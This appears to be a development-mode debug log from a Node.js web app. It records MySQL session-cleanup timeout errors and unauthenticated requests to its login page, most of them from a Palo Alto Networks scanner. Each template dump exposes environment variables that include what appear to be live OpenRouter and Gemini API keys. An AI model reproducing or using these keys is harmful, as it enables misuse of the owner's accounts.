    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.184',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-16T14:49:52.487Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.184',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.184',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-15 17:51:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-15 17:51:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-15 19:17:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-15 19:17:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-15 22:17:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-15 22:17:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-15 22:23:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-15 22:23:59' as DATETIME)"
}
2026-02-16T07:00:16.280Z server-connect:router Serving templateView /
2026-02-16T07:00:16.282Z server-connect:app Executing action step identify
2026-02-16T07:00:16.282Z server-connect:app options: { provider: 'security' }
2026-02-16T07:00:16.282Z server-connect:auth No login cookie found
2026-02-16T07:00:16.282Z server-connect:output identity: false
2026-02-16T07:00:16.282Z server-connect:app Executing action step restrict
2026-02-16T07:00:16.282Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-16T07:00:16.283Z server-connect:output restrict: undefined
2026-02-16T07:00:16.393Z server-connect:router Serving templateView /login
2026-02-16T07:00:16.394Z server-connect:app Executing action step identify
2026-02-16T07:00:16.394Z server-connect:app options: { provider: 'security' }
2026-02-16T07:00:16.394Z server-connect:auth No login cookie found
2026-02-16T07:00:16.394Z server-connect:output identity: false
2026-02-16T07:00:16.394Z server-connect:router Render template layouts/authentication
2026-02-16T07:00:16.394Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.133',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-17T07:00:16.393Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.133',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.133',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-16 12:55:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-16 12:55:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-16 19:03:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-16 19:03:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-16 21:06:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-16 21:06:01' as DATETIME)"
}
2026-02-16T23:30:06.918Z server-connect:router Serving templateView /login
2026-02-16T23:30:06.919Z server-connect:app Executing action step identify
2026-02-16T23:30:06.920Z server-connect:app options: { provider: 'security' }
2026-02-16T23:30:06.920Z server-connect:auth No login cookie found
2026-02-16T23:30:06.920Z server-connect:output identity: false
2026-02-16T23:30:06.920Z server-connect:router Render template layouts/authentication
2026-02-16T23:30:06.920Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="101", "Microsoft Edge";v="101"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'x-forwarded-for': '138.197.40.212',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-17T23:30:06.917Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '138.197.40.212',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '" Not A;Brand";v="99", "Chromium";v="101", "Microsoft Edge";v="101"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_X_FORWARDED-FOR': '138.197.40.212',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-16 23:45:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-16 23:45:01' as DATETIME)"
}
2026-02-17T07:14:19.271Z server-connect:router Serving templateView /
2026-02-17T07:14:19.272Z server-connect:app Executing action step identify
2026-02-17T07:14:19.272Z server-connect:app options: { provider: 'security' }
2026-02-17T07:14:19.273Z server-connect:auth No login cookie found
2026-02-17T07:14:19.273Z server-connect:output identity: false
2026-02-17T07:14:19.273Z server-connect:app Executing action step restrict
2026-02-17T07:14:19.273Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-17T07:14:19.273Z server-connect:output restrict: undefined
2026-02-17T07:14:19.658Z server-connect:router Serving templateView /login
2026-02-17T07:14:19.659Z server-connect:app Executing action step identify
2026-02-17T07:14:19.659Z server-connect:app options: { provider: 'security' }
2026-02-17T07:14:19.659Z server-connect:auth No login cookie found
2026-02-17T07:14:19.659Z server-connect:output identity: false
2026-02-17T07:14:19.659Z server-connect:router Render template layouts/authentication
2026-02-17T07:14:19.659Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.20',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-18T07:14:19.658Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.20',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.20',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-17T14:05:32.230Z server-connect:router Serving templateView /
2026-02-17T14:05:32.231Z server-connect:app Executing action step identify
2026-02-17T14:05:32.231Z server-connect:app options: { provider: 'security' }
2026-02-17T14:05:32.232Z server-connect:auth No login cookie found
2026-02-17T14:05:32.232Z server-connect:output identity: false
2026-02-17T14:05:32.232Z server-connect:app Executing action step restrict
2026-02-17T14:05:32.232Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-17T14:05:32.232Z server-connect:output restrict: undefined
2026-02-17T14:05:32.933Z server-connect:router Serving templateView /login
2026-02-17T14:05:32.933Z server-connect:app Executing action step identify
2026-02-17T14:05:32.933Z server-connect:app options: { provider: 'security' }
2026-02-17T14:05:32.933Z server-connect:auth No login cookie found
2026-02-17T14:05:32.933Z server-connect:output identity: false
2026-02-17T14:05:32.933Z server-connect:router Render template layouts/authentication
2026-02-17T14:05:32.933Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.48',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
